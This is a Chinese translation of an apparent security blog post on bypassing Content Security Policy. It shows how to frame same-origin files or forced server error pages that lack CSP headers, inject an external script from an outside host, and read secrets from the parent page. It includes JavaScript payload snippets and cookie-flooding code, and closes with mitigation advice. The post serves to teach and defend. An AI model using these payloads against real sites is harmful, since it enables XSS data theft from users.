原文:https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
内容安全策略或CSP是一种内置的浏览器安全措施,用于防御跨站点脚本(XSS)等Web攻击。该策略的规则用于定义一组浏览器可以安全地从中加载内容的路径和源,并给出相应的描述。其中,这些资源包括图像、frame、javascripts等。
但是,能否在CSP规则禁用不安全的资源来源的情况下,成功发动XSS攻击呢?读者请不要着急,慢慢往下看就可以了。
正常情况下CSP是如何运作的
这里的一个常见用法是:CSP规定只能从当前域加载图像——这意味着,所有带有外部域的标记都将被忽略。
CSP策略通常用于阻止不可信的JS代码,从而将XSS攻击得手的可能性降到最低。
下面的CSP示例将允许加载和执行本地域(self)的资源,并且允许使用内联资源:
Content-Security-Policy:default-src'self''unsafe-inline';
由于安全策略都遵循“除非明确允许,否则禁止”的原则,所以,该配置将禁用通过字符串创建代码的所有函数。例如:由于设置了unsafe-eval,所以eval、setTimeout、setInterval等函数都将被阻止。
此外,来自外部源的所有内容也将被阻止,其中包括图像、CSS、websockets,尤其是JS代码。
为了更好地理解CSP的工作原理,不妨先来看看我故意植入了XSS漏洞的代码。请尝试在不引起用户警觉的情况下(即没有重定向)窃取机密信息。
欺骗CSP
尽管面临诸多限制,我们仍然可以上传脚本、创建frame并放入图像,因为self并没有禁用SOP策略管理的资源。由于CSP也适用于frame,因此相同的策略也可以管理包含数据、blob或文件的frame。
那么,我们真的可以在测试文件中执行任意的javascript代码吗?答案马上就要揭晓了。
在继续阅读之前,务必记住这一点:大多数现代浏览器会自动将文件(如文本文件或图像)转换为HTML页面。
浏览器之所以这么做,是为了能够在浏览器窗口中正确描述相关内容:它需要布置正确的背景,进行居中,等等。但是,iframe也是一个浏览器窗口!因此,只要内容类型正确,那么,在打开需要利用iframe在浏览器中显示的任何文件(即favicon.ico或robots.txt)的时候,将立即将它们转换为HTML,而无需进行任何数据检查。
如果frame可以打开没有CSP标头的网站页面的话,那会发生什么呢?想必您已经猜到答案了。如果没有CSP,打开的frame将执行页面内的所有JS代码。如果页面带有XSS漏洞,我们就可以自己将js写入frame。
为了验证这一点,让我们看看打开iframe时的场景。接下来,我们以前面提到过的bootstrap.min.css为例进行演示。
frame=document.createElement(“iframe”);
frame.src=”/css/bootstrap.min.css”;
document.body.appendChild(frame);
我们来看一下frame中发生了什么。正如预期的那样,CSS被转换成了HTML,并且,我们覆盖了head的内容(即使它开始时是空的)。接下来,让我们看看是否可以通过外部JS文件来读取其内容。
script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);
成功了!通过这种方式,我们就可以通过iframe执行注入攻击,创建我们自己的js脚本,然后通过查询父窗口来窃取其数据。
为了成功发动XSS攻击,只需打开iframe并使其指向任何不包含CSP头部的路径即可。它可以是标准的favicon.ico、robots.txt、sitemap.xml、css/js、jpg或其他文件。
百尺竿头,更进一步
如果网站开发人员非常谨慎,把我们想要的网站响应(200-OK)都设置了X-Frame-Options: Deny,那咋整呢? 不要着急,我们仍然可以设法发动攻击。使用CSP的第二个常见错误,是在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。我发现,许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部。
鉴于此,我们还可以设法让网站返回标准Web服务器的“invalid request”消息。
例如,为了强制NGINX返回“400 bad request”,你唯一需要做的,就是使用/../访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理,导致/../被/所替换,对于中间的两个点号和最后一个斜线,我们可以使用unicode码来表示。
frame=document.createElement(“iframe”);
frame.src=”/%2e%2e%2f”;
document.body.appendChild(frame);
这里的另一种可能的方法是传递不正确的unicode路径,如/%或/%%z。
但是,让Web服务器返回错误的最简单方法是让URL超过所允许的长度。大多数现代浏览器都可以“鼓捣”一个比Web服务器可以处理的长得多的URL。例如,NGINX和Apache等Web服务器的默认URL长度通常被设置为不超过8kB。
为了验证这一点,我们来看看路径长度为20000字节时的情形:
frame=document.createElement(“iframe”);
frame.src=”/”+”A”.repeat(20000);
document.body.appendChild(frame);
另一种欺骗服务器返回错误的方法是触发cookie长度限制。同样,这是因为当前浏览器支持的cookie越来越长,已经超出了Web服务器所能处理的范围,例如:
for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
2.使用任何地址打开iframe,都会导致服务器返回错误(通常没有XFO或CSP)
3.删除巨型cookie:
for(var i=0;i<5;i++){document.cookie=i+”=”}
4.将自己的js脚本写入frame中,用以窃取其父frame中的秘密信息。
大家不妨亲自试试。如果您需要的话,可以参考这里的PoC。
当然,还有许多其他方法也能让Web服务器返回错误,例如,可以发送一个过长的POST请求,或者以某种方式引发Web服务器的500错误。
为什么CSP如此容易上当,以及如何应对
根本原因是控制资源的策略被嵌入在资源本身中。
为了避免上述情况,我的建议是:
如果不得不使用unsafe-inline来正确加载和处理资源的话,那么唯一的安全做法,就是使用nonce或hash-source了。否则,您将面临XSS攻击的威胁,但是,如果CSP无法提供保护,我们要它何用呢?
此外,正如@majorisc指出的那样,从页面窃取数据的另一个方法是使用RTCPeerConnection,并通过DNS请求传递秘密数据。不幸的是,default-src'self'并不能防御这种攻击。